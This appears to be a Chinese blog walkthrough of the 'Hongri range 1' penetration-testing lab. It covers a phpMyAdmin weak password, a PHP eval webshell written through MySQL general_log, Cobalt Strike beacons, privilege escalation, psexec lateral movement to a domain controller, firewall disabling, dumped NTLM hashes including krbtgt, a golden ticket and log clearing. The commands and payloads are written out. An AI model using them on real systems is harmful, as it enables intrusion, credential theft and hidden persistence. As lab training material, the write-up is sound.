红日靶场一(棉花糖)

红日靶场一

外网打点

./fscan_mac -h 192.168.111.20

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
192.168.111.20:135 open
192.168.111.20:139 open
192.168.111.20:80 open
192.168.111.20:445 open
192.168.111.20:3306 open
[*] alive ports len is: 5
start vulscan
[+] MS17-010 192.168.111.20	(Windows 7 Professional 7601 Service Pack 1)
[*] WebTitle http://192.168.111.20     code:200 len:14749  title:phpStudy 探针 2014
已完成 5/5
[*] 扫描结束,耗时: 23.769181666s

扫描出一个永恒之蓝和一个web站点,先看看web站点

image-20260420105535974

先进行目录扫描,可以看到存在phpmyadmin站点

image-20260420110017171

phpmyadmin

弱口令root root就进去了,phpmyadmin尝试日志写入webshell

image-20260420110552858

先查看下日志状态,

SHOW VARIABLES LIKE '%general%';

可以看到是关闭的,直接打开

SET GLOBAL general_log = ON;

image-20260420110647201

image-20260420110738332

将日志写入路径改成可访问的路径

  SET GLOBAL general_log_file = '/var/www/html/shell.php'; //linux版本
SET GLOBAL general_log_file = 'C:/phpstudy/www/shell.php'; //windows版本(前提web站点是小皮面板搭建的)

写入webshell(靶场没有waf直接一句话木马都可以)

SELECT '<?php @eval($_POST["cmd"]);?>';

image-20260420112218032

使用蚁剑连接,成功连接

image-20260420140131241

接下来用cs生成一个反向木马上传

image-20260420141542664

这里经过测试发现靶机不出网,不能用反向连接,只能用正向

因为我这里拿的是vps(kali等虚拟机也是同理,跟有没有公网地址没有关系)连的openvpn,所以我的攻击机如果想访问到靶机就将流量通过vps去访问靶机。这里我用的是stowaway这款工具,vps做agent端,攻击机做admin端主动去连接vps(为什么是正向,因为反向我试过了不成功可能是因为对反向做了限制),连上了以后就可以在攻击机自己的某个端口上开socks代理转发,然后利用proxifier使得本机流量都走这里代理端口去访问靶机

stowaway vps agent端

./linux_x64_agent -l 9999 #监听9999端口等待连接

image-20260425143124695

stowaway 攻击机 admin端

./macos_x64_admin -c vps的ip:9999 -s 密码 #主动正向连接agent端

image-20260425144412060

image-20260425144524012

image-20260425144530652

配置完成以后访问靶机地址

image-20260425144556166

cs上线

棉花糖的靶场,他不放在公网上,导致cs上线不一样

首先把靶场下载的openvpn放在kali里面命令是openvpn –config ?.vpn

这个?就是openvpn的前缀,

如果这个命令出错,那就用 openvpn "2901 (1).ovpn",我就是这个命令成功的

image-20260426130942941

然后开启cs服务端,命令是./teamserver 127.0.0.2 123456
Pasted image 20260513212630.png

然后显示端连接的ip是kali的ip

然后设置监听器,设置两个

image-20260426131734432

image-20260426131801777

第二个会报错,但是不用管,因为我们只用第二个生成shell

image-20260426131836812

为什么要生成两个监听器以下是我的猜测

监听器 1:
用于真实启动监听,绑定 Kali 实际存在的地址,比如 0.0.0.0 / 10.8.0.6 / 127.0.0.2,因为kali的网卡信息里面并没有真正显示192.168.111.25这个ip地址,说明这个ip地址可能是靶机通过路由或者是平台映射等手段来访问的,但是你直接在监听器写这个地址的话cs可能会报识别不了这个ip地址的错误,但是你写127.0.0.2的话靶机只会访问自己,所以这里需要第二个监听器

监听器 2:
Host 填 192.168.111.25,用来生成 Beacon,让目标机回连这个地址

这就成功生成了,把shell通过蚁剑上传

image-20260426131021339

执行shell.exe

文末工具推荐 | 红日靶场(https://img2024.cnblogs.com/blog/3555637/202604/3555637-20260425172327340-331255592.png)

发现cs成功上线

image-20260426130849647

查看防火墙配置

这里直接用的谢公子的插件

image-20260426154628585

netsh firewall show config
[04/26 15:45:46] [+] 查看防火墙配置
[04/26 15:45:46] [*] Tasked beacon to run: netsh firewall show config
[04/26 15:46:02] [+] 查看防火墙配置
[04/26 15:46:02] [*] Tasked beacon to run: netsh firewall show config
[04/26 15:46:22] [+] host called home, sent: 114 bytes
[04/26 15:46:23] [+] received output:

域 配置文件配置:
-------------------------------------------------------------------
操作模式                          = 禁用
例外模式                          = 启用
多播/广播响应模式                 = 启用
通知模式                          = 启用

域 配置文件的允许的程序配置:
模式     流量方向             名称/程序
-------------------------------------------------------------------
启用       入站                   mysqld / C:\phpstudy\mysql\bin\mysqld.exe
启用       入站                   Apache HTTP Server / C:\phpstudy\apache\bin\httpd.exe

域 配置文件的端口配置:
端口   协议    流量方向              名称
-------------------------------------------------------------------

域 配置文件的 ICMP 配置:
模式     类型  描述
-------------------------------------------------------------------
启用       2     允许出站数据包太大

标准 配置文件配置(当前):
-------------------------------------------------------------------
操作模式                          = 禁用
例外模式                          = 启用
多播/广播响应模式                 = 启用
通知模式                          = 启用

标准 配置文件的服务配置文件:
模式     自定义      名称
-------------------------------------------------------------------
启用       否           网络发现

标准 配置文件的允许的程序配置:
模式     流量方向             名称/程序
-------------------------------------------------------------------
启用       入站                   Firefox (C:\Program Files (x86)\Mozilla Firefox) / C:\Program Files (x86)\Mozilla Firefox\firefox.exe

标准 配置文件的端口配置:
端口   协议    流量方向              名称
-------------------------------------------------------------------

标准 配置文件的 ICMP 配置:
模式     类型  描述
-------------------------------------------------------------------
启用       2     允许出站数据包太大

日志配置:
-------------------------------------------------------------------
文件位置        = C:\Windows\system32\LogFiles\Firewall\pfirewall.log
文件大小上限    = 4096 KB
丢弃的数据包数  = 禁用
连接数          = 禁用

重要信息: 已成功执行命令。
但不赞成使用 "netsh firewall";
而应该使用 "netsh advfirewall firewall"。
有关使用 "netsh advfirewall firewall" 命令
而非 "netsh firewall" 的详细信息,请参阅
http://go.microsoft.com/fwlink/?linkid=121488
上的 KB 文章 947709。

简单总结一下就是

Windows 防火墙未启用;
phpStudy和mysql 相关程序被允许入站;
没有明显端口级拦截;
日志记录也不完整。

ms14-058提权

直接利用taowu这个插件提权成功image-20260426163328772

image-20260426163248315

信息收集

我们虽然拿到了这台机器的shell,但是我们对其一无所知

  • 不知道有没有其他网卡(能不能通内网)
  • 不知道上面有什么账号和密码
  • 不知道你当前是什么权限
  • 不知道它在不在域里

执行

whoami # 我是谁?权限够不够?

hostname # 机器叫什么?

ipconfig /all # 有几张网卡?在不在域?DNS指向谁?

systeminfo # 系统版本、补丁情况

net user # 本机有哪些用户?

net localgroup administrators # 谁是管理员?

网络

外网段: 192.168.111.0/24 (无网关,直连)

内网段: 192.168.52.0/24 (网关 192.168.52.2)

image-20260426174320284

域用户信息

看看域控
net group "domain controllers" /domain

image-20260426174803736

看看域管理员
net group "domain admins" /domain

image-20260426180433057

看看当前域里面的所有用户
net view /domain:GOD

image-20260426175940739

net view
看看当前工作组/域里面的用户

(其实和上一步差不多但是这一步的信息更详细一点)

image-20260426180108981

可以看到执行完这些命令后用户自动就添加到列表里面了

image-20260427204818879

收集到的信息如下

网络:

外网段: 192.168.111.0/24  (无网关,直连)                                                                                           
内网段: 192.168.52.0/24   (网关 192.168.52.2)

存在域:god.org

域里面的用户有OWA、ROOT-TVU862UBEH、STU1

这台机器的用户是STU1

操作系统是Windows 7 专业版 SP1 (6.1.7601)

本机不是域管理员

内网深层信息收集

查看主机名

查看用户列表

shell net users 

image-20260427163539662

查看本地管理员组

shell net localgroup administrators

image-20260427165457477

查看域控

net time /domain

image-20260427193402475

查看域管理员有哪些人

net group "domain admins" /domain

image-20260427193525700

查看域内有什么机器

net group "domain computers" /domain

image-20260427200418489

收集到的信息如下:

当前机器的用户为stu1
本机一共有三个用户:Administrator(内置本地管理员,默认存在) Guest(来宾账户,默认禁用 )
liukaifeng01(自定义用户,也是本机管理员组成员)

god.org 域的域管理员只有:Administrator(域内置管理员)  OWA$  域控机器账户(带$表示计算机账户)

域控是owa

在前面我们已经将stu1的权限提升到了system权限,因为我们是需要去抓取凭据横向移动的

image-20260427202848421

查看域控列表

net dclist

image-20260427203424472

我现在知道了内网结构,但是没有内网其他机器的凭据,没办法凭空登陆其他pc和dc

我需要用户名+密码(明文或者hash)用来横向移动(远程登陆其他机器)

抓取凭证

端口扫描

再对这个52网段进行端口扫描

 portscan 192.168.52.0-192.168.52.255 22,80,443,445,3389 arp 1024
(ARP) Target '192.168.52.143' is alive. 00-50-56-B1-DD-06
(ARP) Target '192.168.52.138' is alive. 00-50-56-B1-F4-38
(ARP) Target '192.168.52.141' is alive. 00-50-56-B1-A0-3D

[05/14 14:24:54] [+] received output:
192.168.52.143:80
192.168.52.138:80

[05/14 14:25:04] [+] received output:
192.168.52.138:445 (platform: 500 version: 6.1 name: OWA domain: GOD)
192.168.52.141:445 (platform: 500 version: 5.2 name: ROOT-TVI862UBEH domain: GOD)
192.168.52.143:445 (platform: 500 version: 6.1 name: STU1 domain: GOD)
Scanner module is complete

445端口开放了,可尝试通过psexecsmbexec等工具横向
创建一个smb监听器

image-20260427205445792

利用psexec横向移动去拿下域控

image-20260427205618437
成功上线域控
Pasted image 20260514143813.png
进入域控,记得养成好习惯关防火墙。

shell netsh advfirewall set allprofiles state off

Pasted image 20260514151905.png
Pasted image 20260514143948.png

权限维持

首先获取hash值

Pasted image 20260514144230.png

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:58e91a5ac358d86513ab224312314061:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:933a9b5b44dab4530d86d83a6b47b7d1:::
ligang:1106:aad3b435b51404eeaad3b435b51404ee:1e3d22f88dfd250c9312d21686c60f41:::
OWA$:1001:aad3b435b51404eeaad3b435b51404ee:b0c159444f81c0f731a117d8b93340d4:::
ROOT-TVI862UBEH$:1104:aad3b435b51404eeaad3b435b51404ee:35def49138be3ffd16d2c71bef9d32f2:::
STU1$:1105:aad3b435b51404eeaad3b435b51404ee:390a78a263ad464412e125074cf91a04:::
DEV1$:1107:aad3b435b51404eeaad3b435b51404ee:bed18e5b9d13bb384a3041a10d43c01b:::

再获取明文密码
Pasted image 20260514144805.png

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : OWA$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2026/5/14 10:28:27
SID               : S-1-5-20
	msv :	
	 [00000003] Primary
	 * Username : OWA$
	 * Domain   : GOD
	 * NTLM     : b0c159444f81c0f731a117d8b93340d4
	 * SHA1     : 9015be3b34adbab4743ab1685f7e16406c83f131
	tspkg :	
	wdigest :	
	 * Username : OWA$
	 * Domain   : GOD
	 * Password : 9d 30 13 65 e6 b2 8e cf ef 74 1e 91 5e ed f4 73 9b f9 97 0f 1e 83 02 b2 6f b8 fe 12 be 3c a9 2d 5f 22 3e 75 38 6d 48 b0 ac 40 21 4e 2f 26 a9 3d b3 2c 3c 0e cf 1b 49 8c 4b 49 8e a5 6f c8 47 1e e1 ff 0b 1a fe f2 28 7f 3e be 88 e4 e9 5b 6f b2 f0 95 e5 67 e7 b7 23 ff 2b 9f aa 4f 0b ed 49 5f 74 89 aa f1 7b f1 c0 be 29 1f 9f 27 53 d2 86 1e da 93 3d 7d 96 89 c6 55 bf d9 73 51 6f 90 f6 e9 a2 08 93 1e 01 c6 a2 10 cf 86 f7 ab c5 c3 c0 af 44 57 b1 80 7a 24 c2 cf b2 a2 b1 7a 5c ef eb 35 cd 20 f7 53 71 e4 5d 4b b1 5a a3 8e 24 05 26 fe 02 35 a4 cd 54 e6 d1 6e e7 e3 0e 9c 61 41 50 62 cc 73 78 f3 df 15 09 c0 f7 fc bb f1 18 02 41 f5 60 8d eb 0a 80 14 fe dc d8 bf f3 96 d4 57 ba c4 e7 1f 8b 5d 35 e2 26 27 14 58 0f c3 d7 13 67 23 
	kerberos :	
	 * Username : owa$
	 * Domain   : GOD.ORG
	 * Password : 9d 30 13 65 e6 b2 8e cf ef 74 1e 91 5e ed f4 73 9b f9 97 0f 1e 83 02 b2 6f b8 fe 12 be 3c a9 2d 5f 22 3e 75 38 6d 48 b0 ac 40 21 4e 2f 26 a9 3d b3 2c 3c 0e cf 1b 49 8c 4b 49 8e a5 6f c8 47 1e e1 ff 0b 1a fe f2 28 7f 3e be 88 e4 e9 5b 6f b2 f0 95 e5 67 e7 b7 23 ff 2b 9f aa 4f 0b ed 49 5f 74 89 aa f1 7b f1 c0 be 29 1f 9f 27 53 d2 86 1e da 93 3d 7d 96 89 c6 55 bf d9 73 51 6f 90 f6 e9 a2 08 93 1e 01 c6 a2 10 cf 86 f7 ab c5 c3 c0 af 44 57 b1 80 7a 24 c2 cf b2 a2 b1 7a 5c ef eb 35 cd 20 f7 53 71 e4 5d 4b b1 5a a3 8e 24 05 26 fe 02 35 a4 cd 54 e6 d1 6e e7 e3 0e 9c 61 41 50 62 cc 73 78 f3 df 15 09 c0 f7 fc bb f1 18 02 41 f5 60 8d eb 0a 80 14 fe dc d8 bf f3 96 d4 57 ba c4 e7 1f 8b 5d 35 e2 26 27 14 58 0f c3 d7 13 67 23 
	ssp :	
	credman :	

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2026/5/14 10:29:06
SID               : S-1-5-17
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2026/5/14 10:28:27
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 47041 (00000000:0000b7c1)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2026/5/14 10:28:23
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : OWA$
	 * Domain   : GOD
	 * NTLM     : b0c159444f81c0f731a117d8b93340d4
	 * SHA1     : 9015be3b34adbab4743ab1685f7e16406c83f131
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : OWA$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2026/5/14 10:28:23
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : OWA$
	 * Domain   : GOD
	 * Password : 9d 30 13 65 e6 b2 8e cf ef 74 1e 91 5e ed f4 73 9b f9 97 0f 1e 83 02 b2 6f b8 fe 12 be 3c a9 2d 5f 22 3e 75 38 6d 48 b0 ac 40 21 4e 2f 26 a9 3d b3 2c 3c 0e cf 1b 49 8c 4b 49 8e a5 6f c8 47 1e e1 ff 0b 1a fe f2 28 7f 3e be 88 e4 e9 5b 6f b2 f0 95 e5 67 e7 b7 23 ff 2b 9f aa 4f 0b ed 49 5f 74 89 aa f1 7b f1 c0 be 29 1f 9f 27 53 d2 86 1e da 93 3d 7d 96 89 c6 55 bf d9 73 51 6f 90 f6 e9 a2 08 93 1e 01 c6 a2 10 cf 86 f7 ab c5 c3 c0 af 44 57 b1 80 7a 24 c2 cf b2 a2 b1 7a 5c ef eb 35 cd 20 f7 53 71 e4 5d 4b b1 5a a3 8e 24 05 26 fe 02 35 a4 cd 54 e6 d1 6e e7 e3 0e 9c 61 41 50 62 cc 73 78 f3 df 15 09 c0 f7 fc bb f1 18 02 41 f5 60 8d eb 0a 80 14 fe dc d8 bf f3 96 d4 57 ba c4 e7 1f 8b 5d 35 e2 26 27 14 58 0f c3 d7 13 67 23 
	kerberos :	
	 * Username : owa$
	 * Domain   : GOD.ORG
	 * Password : 9d 30 13 65 e6 b2 8e cf ef 74 1e 91 5e ed f4 73 9b f9 97 0f 1e 83 02 b2 6f b8 fe 12 be 3c a9 2d 5f 22 3e 75 38 6d 48 b0 ac 40 21 4e 2f 26 a9 3d b3 2c 3c 0e cf 1b 49 8c 4b 49 8e a5 6f c8 47 1e e1 ff 0b 1a fe f2 28 7f 3e be 88 e4 e9 5b 6f b2 f0 95 e5 67 e7 b7 23 ff 2b 9f aa 4f 0b ed 49 5f 74 89 aa f1 7b f1 c0 be 29 1f 9f 27 53 d2 86 1e da 93 3d 7d 96 89 c6 55 bf d9 73 51 6f 90 f6 e9 a2 08 93 1e 01 c6 a2 10 cf 86 f7 ab c5 c3 c0 af 44 57 b1 80 7a 24 c2 cf b2 a2 b1 7a 5c ef eb 35 cd 20 f7 53 71 e4 5d 4b b1 5a a3 8e 24 05 26 fe 02 35 a4 cd 54 e6 d1 6e e7 e3 0e 9c 61 41 50 62 cc 73 78 f3 df 15 09 c0 f7 fc bb f1 18 02 41 f5 60 8d eb 0a 80 14 fe dc d8 bf f3 96 d4 57 ba c4 e7 1f 8b 5d 35 e2 26 27 14 58 0f c3 d7 13 67 23 
	ssp :	
	credman :	


配置黄金票据

黄金票据是指能够绕过认证授权机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。
Pasted image 20260514145115.png
成功权限维持
Pasted image 20260514145201.png

痕迹清除

Pasted image 20260514152116.png

获取flag

这里我翻遍了全网的wp发现都没有说怎么找flag

shell dir C:\flag* /s /b

利用这个命令可以找到flag(其实就是在C盘里面全局搜索flag这个字样)
Pasted image 20260514153109.png

参考链接
https://cn-sec.com/archives/4888048.html

posted @ 2026-05-14 15:37  朱迪Judy  阅读(60)  评论(0)    收藏  举报